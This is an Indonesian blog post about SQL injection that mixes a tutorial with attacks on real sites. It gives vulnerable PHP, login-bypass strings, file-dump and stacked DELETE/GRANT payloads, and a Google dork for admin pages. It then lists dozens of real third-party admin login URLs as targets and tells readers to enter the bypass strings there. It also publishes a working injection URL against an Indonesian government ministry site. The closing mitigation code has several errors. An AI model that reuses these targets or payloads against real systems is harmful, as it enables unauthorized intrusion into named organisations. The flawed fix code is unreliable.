skip to main |
skip to sidebar
SQL Injection adalah salah satu jenis penyerangan yang mengijinkan user tidak sah(penyerang)untuk mengakses database server. Pada dasarnya,serangan ini difasilitasi oleh kode program anda sendiri. teknik nya,penyerang mencoba memasukkan query (melalui field atau URL) yang akan menyebabkan database server men-generate query SQL yang tidak valid. Pada kenyataan nya,SQL injection terbukti merupakan salah satu teknik terbaik yang sering melumpuhkan sasarannya. Begitu penyerang berhasil menguasai kendali dataase server,ia bisa melakukan apa saja,seperti memodifikasi atau bahkan menghapus semua data yang ada. bagaimana pun juga , ini bisa dicegah jika kode program anda melakukan validasi yang baik. Sebenarnya apa bila anda teliti,teknik SQL injection sangat sederhana sekali. Akan tetapi justru yang sering diabaikan oleh para programer,entah itu tidak tahu atau lupa.
Berikut ini beberapa contoh teknik SQL injection,implementasi,dan cara menggagalkan nya.
Single SQL Injection
walaupun penyerang awalnya mencoba memasukan query berupa pernyataan SQL,akan tetapi bukan sembarang query. Dalam hal ini, penyerang cukup memiliki pengatahuan mengenai SQL, sebagai contoh permulaan (maklumlah saya sudah hacker kelas kakap :P) anda memiliki kode seperti ini.
$match = false;
if (isset($_POST['submit'])) {
$nama = $_POST['nama'];
$pass = $_POST['pass'];
$sql = "SELECT nama, password FROM user WHERE nama='$nama' AND password='$pass'";
$res = mysqli_query($db, $sql);
// jika res berhasil,dan row yang
// dikembalikan=1, set $match=true
if ($res && mysqli_query_rows($res) == 1) {
$match = true ;
mysqli_free_result($res);
}
if ($match === true) {
echo 'account match';
} else {
echo 'invalid account';
}
}
kode program diatas memang kelihatan melakukan verifikasi data, tetapi sebenarnya sangat rapuh,penyerang bisa menggnakan query-query seperti dibawah ini,untuk melakukan akses secara tidak sah
// mengisi field nama saja,# adalah komentar,
// yang akan mengabaikan baris setelahnya admin'#
// mengisi nama field saja
// mengekstrak data kelokasi tertentu
'OR' 1=1 INTO DUMPFILE '/path/ke_lokasi/file.txt '#
'OR' 1=1 INTO OUTFILE '/path/ke_lokasi/file.txt '#
//jika masih bingung langsung saja kita cari korban yang bisa di inject
buka websitewww.google.com jika masih bingung juga buka browser mozilla firefox defaultnya sudah ke halaman google, kalau masih bingung juga sudah pulang saja tidur, tau ngaji dapet ^-^ pahala.
ok langsung saja di search engine google masukkan kata="inurl:admin.asp" atau "inall url:/administraor.asp" pokoknya cari halaman admin web kemudian pilih salah satu web, jika bingung juga klik aja salah satu web di bawah ini:
http://w2.radio102.no/u-h/administrator/admin.asp
http://www.azenonline.com/LoggedIn.asp
http://theworldsbestfootballpool.com/setoutcomes.asp
http://www.tabcarolinas.com/TABadmin/admin_menu.asp
http://jazwinskiinfo.com/Jaz/adminIndex.asp
http://builditez.com/chat_96decibels/chat.asp
http://osd-pictures.com/GrantAccess.asp
http://stsedu.com/adminconfirm.asp
http://www.teamlinknetwork.com/AdminHome.asp
http://pcexltd.com/controlpanel.asp
http://www.howstockswork.com/scripts/adminmain.asp?adminid=1
http://www.csimatrichss.org/adminpage.asp
http://www.independentsecuringservices.com/Administrator/adminmenu.asp
http://www.worcestertkd.co.uk/home.htm
http://danceworks.developmentserver.us/admin/home.asp
http://www.photoctm.com/Reliant/sponsor_report_index.asp
http://itsolution4all.com/tamilnaducomputer/mc/admin-login.asp
http://www.hockeyrecruit.com/admin/mainMenu.asp
http://www.ncck.org/admin/login.asp?check=true
http://www.alachatt.com/html/admin/login_successful.asp
http://www.eminentsys.com/Admin/home.asp
http://geaautosales.com/admin-edit.asp
http://www.diamond-3.com/Admin/admin.asp
http://www.artsypixel.com/admin/menu.asp
http://itsolution4all.com/computerspares/mc/admin-login.asp
http://www.patentperception.com/admin/home.asp
http://www.hockeyrecruit.com/admin/mainMenu.asp
http://www.lhhb.com/admin/menuframe.asp
http://www.gpstracker.ie/fleet/admin/map.asp
http://www.nhps.net/admin/index.asp
http://cvs.uwc.ac.za/viewcvs/viewcvs.cgi/seaweedafrica/admin/#dirlist
http://kirk.p2pays.org/cgi-bin/viewcvs.cgi/p2rxweb-asp/admin/index.asp
http://kirk.p2pays.org/cgi-bin/viewcvs.cgi/p2rxweb-asp/admin/#dirlist
http://www.workwebwest.com/admin/admin.asp
http://www.ncck.org/admin/login.asp?check=true
setelah masuk halaman admin salah satu web diatas, masukkan
usernamenya: 'or''=' password: 'or''='
Atau usernamenya: 'or 1=1-- password: 'or 1=1--
Untuk melakukan injection database sql server berbeda dengan mysql untuk lebih jelasnya anda bisa membaca ebook Seni Internet Hacking dimenu free download bahkan Anda bisa melakukan injection website pemerintah seperti Departemen Keuangan, jika tidak percaya saya perlihatkan bug www.depkeu.go.id klik url dibawah ini:
http://www.depkeu.go.id/ind/Topic
/?cdcate='group%20by%20CATEGORIES.CDLANG,
CATEGORIES.CDCATE,CATEGORIES.TXCATE,
CATEGORIES.TXDESC,CATEGORIES.VISIBLE,
CATEGORIES.TXLINK,CATEGORIES.
NEWVISIBLE%20having%201=1--
Anda bisa melihat tabel database CATEGORIES bahkan menjalankan suatu service, menghentikan suatu service, mematikan SQL Server, login ke komputer server bisa di lakukan dengan mudah karena terjadi kesalahan aplikasi, kalau menurut saya sieh programernya aja yang terlalu pinter sehingga melupakan hal yang sepele seperti ini.
Bagaimapun juga,contoh contoh SQL injection diatas adalah contoh yang umum. Adapun untuk mencegah nya menggunakan fungsi mysql_real_escape_string () atau addslashes(), seperti yang diuraikan pada fungsi myMacig()sebelumnya
$nama = myMacig($_POST['nama']};
$pass = myMacig($_POST['pass']};
Multiple SQL injection
Contoh SQL injection lainnya adalah dengan memberikan multiple query,seperti berikut:
// $id dari method GET/POST
$sql = "SELECT * FROM buku WHERE kode='{$id}’ “;
//mengahapus isi table
0; DELETE FROM user
// membuat account baru
0; GRANT ALL ON *.* TO 'xxx@%'
Dalam kasus ini,macig quote akan mengabaikan tanda titik koma,ini sangat membahayakan jika menggunakan SQLite atau postgreSQL. Adapun solusi nya adalah menggunakan operator casting untuk memastikan bahwa id harus integer.
//Simulasi nilai $_POST['id']
0; DELETE FROM user
$id = (int) myMacig($_POST['id']);
apabila anda ingin memeriksa apakah input mengandung karakter tertentu,gunakan fungsi strpos().
$nama = myMacig ($_POST ['id']);
// periksa apakah karakter ; terdapat
// di variabel $nama.
if (strpos($nama, ';' die ('Naughty Naughty,
Very Naughty...');
Sebenarnya teknik ini sudah tidak efektif lagi, karena mudah dipatahkan atau dicegah, salah satu teknik pencegahan yang paling mudah adalah dengan menyaring ID hingga nilainya menjadi Abosolut dan tidak terjadi Error Script.
Nach bagaimana sich cara penerapan teknik ini, mari kita pelajari bersama-sama!
ID dalam database biasanya selalu merupakan Integer, Positif, dan Uniqe sehingga bila tiba-tiba dalam browser diketikan suatu karakter selain dari Angka semisal tanda petik, atau diganti nilainya menjadi negatif maka akan terjadi error ID sehingga akan muncul pesan yang biasanya memberikan Informasi tentang isi dari database,struktur tabel, jumlah field dan hingga sampai isi dari suatu field.
Nach dengan menyaring ID supaya selalu bernilai positif hanya dan hanya integer saja maka diberikan sebuah code PHP pada Variabel $_GET ['ID'] dengan tanda (int)$_GET['ID'] dan kemudian diapit lagi dengan variabel abs((int)$_GET['ID']) sehingga menjadi harga yang mutlak atau selalu positif!
Nach salah satu penerapannya adalah sebagai berikut!
Perhatikan baris ini
$id=abs((int)$_GET['id']);
include ("koneksi.php");
$getart="select*from artikel where id='$id' order by id";
$eksekusi=mysql_query($getart);
Pada $id digunakan nilai Absolut dan Penyaring Integer agar SQL Injection dengan menggunakan ID dapat dicegah!
Selamat mencoba!
0 komentar:
Posting Komentar